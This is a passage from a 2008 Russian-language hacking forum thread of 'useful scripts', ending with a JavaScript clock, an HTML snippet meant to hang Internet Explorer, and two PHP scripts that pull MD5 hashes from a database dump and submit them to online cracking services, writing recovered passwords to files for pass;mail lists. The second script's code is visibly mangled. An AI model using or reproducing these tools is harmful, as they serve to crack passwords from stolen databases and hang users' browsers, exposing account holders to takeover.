document.layers["ny"+i].top = Ypos + i * Ybase * Math.sin(min);
document.layers["ny"+i].left = Xpos + i * Xbase * Math.cos(min);
}
for (i = 0; i < H.length; i++){
document.layers["nz"+i].top = Ypos + i * Ybase * Math.sin(hrs);
document.layers["nz"+i].left = Xpos + i * Xbase * Math.cos(hrs);
}
}
else{
for (i=0; i < dots; ++i){
ieDigits[i].style.pixelTop = Ypos - 15 + 40 * Math.sin(-0.49+dots+i/1.9);
ieDigits[i].style.pixelLeft = Xpos - 14 + 40 * Math.cos(-0.49+dots+i/1.9);
}
for (i=0; i < S.length; i++){
x[i].style.pixelTop = Ypos + i * Ybase * Math.sin(sec);
x[i].style.pixelLeft = Xpos + i * Xbase * Math.cos(sec);
}
for (i=0; i < M.length; i++){
y[i].style.pixelTop = Ypos + i * Ybase * Math.sin(min);
y[i].style.pixelLeft = Xpos + i * Xbase * Math.cos(min);
}
for (i=0; i < H.length; i++){
z[i].style.pixelTop = Ypos + i * Ybase*Math.sin(hrs);
z[i].style.pixelLeft = Xpos + i * Xbase*Math.cos(hrs);
}
}
setTimeout('clock()', 50);
}
if (document.layers || document.all) window.onload = clock;
// End -->
</script>
 

  #397  
Старый 11.07.2008, 19:15
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от bulyako  
Аналоговые, следящие за скроллингом часы
Скрипт поместите между <HEAD> и </HEAD>
s/Полезные/Позорные/
 

Яваскрипт
  #398  
Старый 13.07.2008, 17:27
YaLTeR
Новичок
Регистрация: 18.06.2008
Сообщений: 7
Провел на форуме:
105902

Репутация: 4
Smile Яваскрипт

Вот еще правда не знаю чем вызвано.
Попробуйте врубить в ИЕ. комп от перезагрузки страницы может повиснуть.
Код HTML:
<html>
<head>
</head>
<body>
<form onSubmit=alert()>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
 

  #399  
Старый 13.07.2008, 17:31
MaZaHaKer
Участник форума
Регистрация: 19.01.2008
Сообщений: 111
Провел на форуме:
769380

Репутация: 73
По умолчанию

=/ не совсем полезный скрипт .
 

  #400  
Старый 13.07.2008, 18:06
SUBJECT617
Познающий
Регистрация: 06.08.2007
Сообщений: 85
Провел на форуме:
1695462

Репутация: 91
Отправить сообщение для SUBJECT617 с помощью ICQ
По умолчанию

Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное)

Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит.

Версия для md5.xek.cc (предпочтительна)
PHP код:
<?php 
if ($argc<4

echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
echo 
"Usage: $argv[0] <database> <found> <not_found>\n\n\n"
echo 
'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
echo 
'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n"
echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
die; 

$id 0
$filename "$argv[1]"
$filename2 "$argv[2]"
$filename3 "$argv[3]"
$of2 fopen($filename2,"w+"); 
$of3 fopen($filename3,"w+"); 
$all count(file($filename)); 
echo 
"                               Database contains $all entries\n\n"
function 
post($data
{  
     
$buf ''
     
$fp = @fsockopen('md5.xek.cc',80);   
    if (
$fp) {  
          
fputs($fp'POST /index.php HTTP/1.1'."\n");   
          
fputs($fp'Host: md5.xek.cc'."\n");   
          
fputs($fp'Content-type: application/x-www-form-urlencoded'."\n");   
          
fputs($fp'Content-length: ' strlen($data) . "\n"); 
          
fputs($fp'User-Agent: PHP Script'."\n");   
          
fputs($fp'Connection: close'."\n\n");   
          
fputs($fp$data);                 
          while(!
feof($fp)) 
          
$buf .= fread($fp,2048); 
          
preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf); 
          
fclose($fp);  
          return 
$buf
     } 
     else{  
          return 
'Server is not responding!';  
     } 
       

$content join('',file($filename)); 
$fcontent preg_replace("/\n/",":",$content); 
preg_match_all('/[0-9a-z]{32}/',$fcontent$whatfound); 
while (@
$whatfound[0][$id] != ''

$hash $whatfound[0][$id]; 
$page post("hash=$hash&act=find"); 
if (
preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches)) 

$pass $matches[1]; 
fputs($of2,"$id : $pass\n");
$status '+'

else 

fputs($of3,"$id : $hash\n");
$status ''

$id += 1;
$checked count(file($filename2)) + count(file($filename3));
echo 
"                                           $checked$status\n";

@
fclose($of1); 
@
fclose($of2); 
@
fclose($of3); 
echo 
'                                          Done!'."\n"
$found count(file($filename2)); 
echo 
'                               ++++++++++++++++++++++++++'."\n"
echo 
"                                $found of $all hashes found!"."\n"
echo 
'                               ++++++++++++++++++++++++++'."\n\n"
?>
Версия для hashkiller.com
PHP код:
<?php 
if ($argc<4

echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
echo 
"Usage: $argv[0] <database> <found> <not_found>\n\n\n"
echo 
'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
echo 
'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n"
echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
die; 

$id 0
$filename "$argv[1]"
$filename2 "$argv[2]"
$filename3 "$argv[3]"
$of2 fopen($filename2,"w+"); 
$of3 fopen($filename3,"w+"); 
$all count(file($filename)); 
echo 
"                               Database contains $all entries\n\n"
function 
post($data
{  
     
$buf ''
     
$fp = @fsockopen('hashkiller.com',80);   
    if (
$fp) {  
          
fputs($fp'POST /crack/ HTTP/1.1'."\n");   
          
fputs($fp'Host: hashkiller.com."\n");   
          fputs($fp, '
Content-typeapplication/x-www-form-urlencoded'."\n");   
          fputs($fp, '
Content-length' . strlen($data) . "\n"); 
          fputs($fp, '
User-AgentPHP Script'."\n");   
          fputs($fp, '
Connectionclose'."\n\n");   
          fputs($fp, $data);                 
          while(!feof($fp)) 
          $buf .= fread($fp,2048);           
          fclose($fp);  
          return $buf; 
     } 
     else{  
          return '
Server is not responding!';  
     } 
       

$content = join('',file($filename));  
$fcontent = preg_replace("/\n/",":",$content); 
preg_match_all('
/[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе
while (@$whatfound[0][$id] != '') 

$hash = $whatfound[0][$id];  
$page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш
if (preg_match('
/\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches)) 

$pass = $matches[1]; 
fputs($of2,"$id : $pass\n"); 
$status = '
+';

else 

fputs($of3,"$id : $hash\n");  
$status = '';

$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo "                                            $checked$status\n";

@fclose($of1); 
@fclose($of2); 
@fclose($of3); 
echo '                                          
Done!'."\n"; 
$found = count(file($filename2)); 
echo '                               
++++++++++++++++++++++++++'."\n"; 
echo "                                $found of $all hashes found!"."\n"; 
echo '                               
++++++++++++++++++++++++++'."\n\n"; 
?>
Можно и на многие многи другие сервисы переписать но вот нужно ли?

ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=)

EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=))


С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит

Последний раз редактировалось SUBJECT617; 13.07.2008 в 19:46..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ